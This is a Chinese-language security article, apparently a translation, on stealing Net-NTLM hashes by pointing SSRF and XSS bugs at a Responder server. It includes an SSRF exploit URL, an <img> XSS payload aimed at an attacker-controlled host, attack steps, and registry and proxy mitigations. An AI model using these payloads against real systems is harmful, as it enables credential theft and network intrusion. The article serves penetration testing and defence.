利用Web应用程序漏洞窃取NTLM哈希值新姿势
导语：最近，我们花了一些时间研究如何进一步武器化Web应用程序漏洞以获取对网络的访问，方法是利用Windows在某些情况下可能在对凭据发起质询时使用NTLM哈希响应的事实。
介绍
NTLM身份验证在很多使用 Windows 系统的企业的网络中是非常常见的一种身份验证方式。有许多我们都听说过的本地攻击的方法就是利用了 Windows 执行自动 NTLM 身份验证的方式，滥用此功能无疑是每个渗透测试人员和红队成员喜欢做的事情。
在Blaze Information Security安全团队，我们最近花了一些时间研究如何使用远程向量滥用此功能，尤其是从Web应用程序漏洞的角度来看。
我们的目标是讨论如何将服务器端请求伪造（SSRF）和跨站点脚本（XSS）等漏洞武器化后用来窃取Net-NTLM哈希值，这对于进一步访问内部网络非常有用。
本文假设读者熟悉此处阐述的一些概念，并将跳过关于NTLM身份验证内部工作原理的若干技术细节，以及如何配置和使用捕获Net-NTLM哈希所需的工具，或教授如何利用XSS和SSRF。
所有实验均由Blaze Information Security 安全团队在其实验室中使用 Windows 10 裸机，Windows 7虚拟机和Ubuntu Linux作为恶意认证服务器完成测试。
关于集成Windows身份验证的几点
在互联网企业环境中使用过Windows的任何人都可能已经注意到，访问网络中的公司资源是没有限制的，并且在许多情况下，除了初始的 Windows 域登录之外，不需要显式的身份验证提示用户输入凭据。这适用于多种服务，如网络映射驱动器，Intranet网站等。
Windows 的 WinHTTP是一个为开发人员提供处理HTTP/1.1协议的高级API。在其他功能中，WinHTTP能够通过协商NTLM，Kerberos等自动处理身份验证的协议来访问受保护资源。
基于微软的浏览器Internet Explorer和Edge具有受信任区域的概念：Internet，本地Intranet，可信站点和受限制站点。每个区域都有不同的安全级别和相关限制。例如，对于Intranet区域站点，Internet Explorer禁用XSS筛选器，运行ActiveX插件，执行自动登录，并且总体上具有比Internet站点有更少的安全控制。
默认情况下，当Web服务器具有受 NTLM 身份验证保护的资源时，如果网站位于企业网络的内网中，或者在可信站点中列入了白名单，则Internet Explorer和Edge将自动执行身份验证，这与受信任区域的概念相同。
其他浏览器，如Mozilla Firefox和Google Chrome也支持自动NTLM登录。Chrome依赖于与Internet Explorer相同的设置; 在Firefox中，默认情况下不启用此配置，必须通过手动更改about:config。
进入Responder
由Laurent Gaffie撰写的Responder [1]是迄今为止每个渗透测试人员最受欢迎的工具，可以窃取不同形式的凭据，包括Net-NTLM哈希。
它的工作原理是设置几个模拟的不同协议的服务守护进程，如SQL服务器，FTP，HTTP和SMB服务器等，直接提示凭据或模拟质询 – 响应身份验证过程并捕获客户端发送的哈希值。
Responder 还有能力对LLMNR，NBT-NS和mDNS等协议发起中毒攻击，但这篇文章不会涉及这些内容。
通过Web应用程序漏洞滥用的新姿势
最近，我们花了一些时间研究如何进一步武器化 Web 应用程序漏洞来获取对网络的访问权限，方法是利用 Windows 在某些情况下可能在对凭据发起质询时使用NTLM哈希响应。
我们会描述 Web 应用程序中常见的两个常见漏洞，以及我们如何利用它们来窃取哈希，入侵帐户并进入企业网络。
场景＃1：从SSRF到哈希窃取
SSRF漏洞通常用于将HTTP请求发送到其他服务器并扫描内部网络。事实证明，它还可以用来强制易受攻击的Web应用程序使底层Windows服务器泄漏其NTLM哈希值。
我们整理了一个易受SSRF攻击的Flask应用程序，以便更好地说明问题。这个SSRF漏洞非常简单：它有一个参数URL，当把任何站点传递给它时，无论是http://www.blazeinfosec.com还是http://intranet.corporate，它都会发送一个HTTP请求，获取资源并使用请求提取的内容将其响应回客户端。
该示例漏洞的Web应用程序依赖Python的win32com模块。使用此模块，可以调用使用本机的 COM 对象 WinHTTP.WinHTTPRequest.5.1 发出HTTP请求，并且由于SetAutoLoginPolicy设置为0，它将自动发送凭据。
值得一提的是，某些框架的URL资源获取功能与Windows没有紧密集成，并且不会执行自动登录，这与我们现在演示的情况不同。但是，Java的URLConnection()以及其他可能会这样做。
要利用此漏洞并获取用户的Net-NTLM哈希，只需浏览到以下URL：
http://127.0.0.1:8000/?url=http://server_listening_responder
在后台，没有任何形式的交互，会发生以下情况：
· Windows API将发送HTTP请求
· 服务器（在本例中为Responder）将发送HTTP头WWW-Authenticate:NTLM，提示它使用NTLM进行身份验证
· 客户端（在这种情况下，在服务器中运行的易受攻击的应用程序）将响应挑战，攻击者将获取服务器的Net-NTLM哈希
最终结果是攻击者成功的捕获了Net-NTLM凭据：
尽管Net-NTLM哈希不能用于Pass-the-Hash攻击，但与纯NTLM哈希不同，攻击者可以使用像hashcat这样的现成工具进行中继或破解：
场景＃2：XSS：单纯的alert(1)是很无聊东西，让我们利用XSS得到目标的Net-NTLM哈希值
如前所述，当Web服务器提示Internet Explorer和Edge获取NTLM凭据时，在其默认配置中，它将执行质询 – 响应身份验证过程并将登录用户的哈希发送到请求服务器，前提是站点的域位于企业内部网络中或存在于可信站点列表中。
以下是Internet Explorer在Intranet站点中自动登录时的默认配置：
企业通常将企业域列为内网可信站点，如下图的例子所示：
这意味着，如果你正在对在运行在企业内网中的Web应用程序执行渗透测试，并且你发现了跨站点脚本漏洞，则很有可能你可以利用这个无聊的漏洞进行哈希窃取漏洞利用。
通过诱使企业环境中的任何人来浏览包含以下HTML代码的页面：
<html> <img src="http://hostname_to_internal_responder"> </html>
如果运行Responder的HTTP服务器位于企业内网中，并且其主机名或其子域被企业内网标记为可信，则Internet Explorer和Edge将自动发送哈希值。
以下步骤概述了XSS-to-NTLM 哈希的攻击模式：
步骤1：在本地网络中以HTTP模式运行Responder ，你将在公司内网中为你的IP提供反向DNS服务，这意味着你将拥有一个主机名
步骤2：在XSS有效载荷中输入一些内容
<img src="http://hostname_to_internal_responder">
步骤3：等待一个毫无安全意识的受害者浏览受XSS影响的页面 – 如果它是存储型的XSS，那就更好了
步骤4：捕获哈希值
通常，企业或组织还将其子域所服务的所有内容标记为受信任。例如，如果* .blazeinfosec.com被列入白名单，则* .blazeinfosec.com中的任意一台服务器被入侵并运行Responder了后，攻击者就可以通过这种攻击方式在这些服务器上窃取企业网络中的用户哈希值。
如果客户端尝试使用NTLM身份验证连接到HTTP服务器，但主机名不在Internet Explorer或Edge的任何可信任列表中，则会提示客户端输入凭据，如下面的屏幕截图所示：
缓解风险方案
这篇文章中描述的问题在很长一段时间内都是大家听说过或熟知的，发生这种安全问题实际上是由于Windows的设计所导致的。NTLM身份验证从早期就开始以这种方式运行，并且在20多年前就已经讨论过其中的一些漏洞，不过很多人对这种风险没有很深入的认识。但是，有一些方法可以减少 Windows 的这种不安全行为带来的影响。
将注册表项RestrictSendingNTLMTraffic的值设置为2
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0
将减少此风险的影响，因为当服务器提出质询时，Windows将不再发送NTLMv1或NTLMv2哈希，无论是合法的还是恶意的请求。
但是，最为重要的事情还是要考虑这可能会破坏一些正常功能，尤其是在使用NTLM进行自动登录的公司网络中。
在与SSRF相关的方案中，我们建议使用不执行自动NTLM身份验证的HTTP库。降低此风险的另一个想法是在公司代理中使用规则，以防止与网络边界之外的服务器协商NTLM身份验证。
结论
NTLM身份验证可以给依赖Windows和其他微软产品的企业或组织带来一些好处和便利。单点登录功能可在访问不同的企业系统时提供无缝切换的用户体验，从而提高用户的工作效率并减轻用户需要不断进行身份验证的负担。
尽管如此，尽管这个安全问题已经有20多年的历史，但NTLM认证依然存在安全风险，这些安全风险经常被忽视。
对于渗透测试人员来说，每次找到 SSRF 漏洞时，可能值得将其指向运行Responder的服务器。总有可能获得一些 NTLMv1或NTLMv2哈希并深入到目标网络。
开发人员和风险管理人员不应低估内网中存在XSS漏洞的 Web 应用程序。在内部的 Web 应用程序中重新评估标记为未修复的XSS漏洞的跟踪器并重新考虑将其修复，因为它的影响可能比简单的弹框或窃取会话cookie更为严重。
参考
[1] https://github.com/lgandx/Responder
[2] https://msdn.microsoft.com/en-us/library/ms775123%28v=vs.85%29.aspx
[3] https://github.com/blazeinfosec/ssrf-ntlm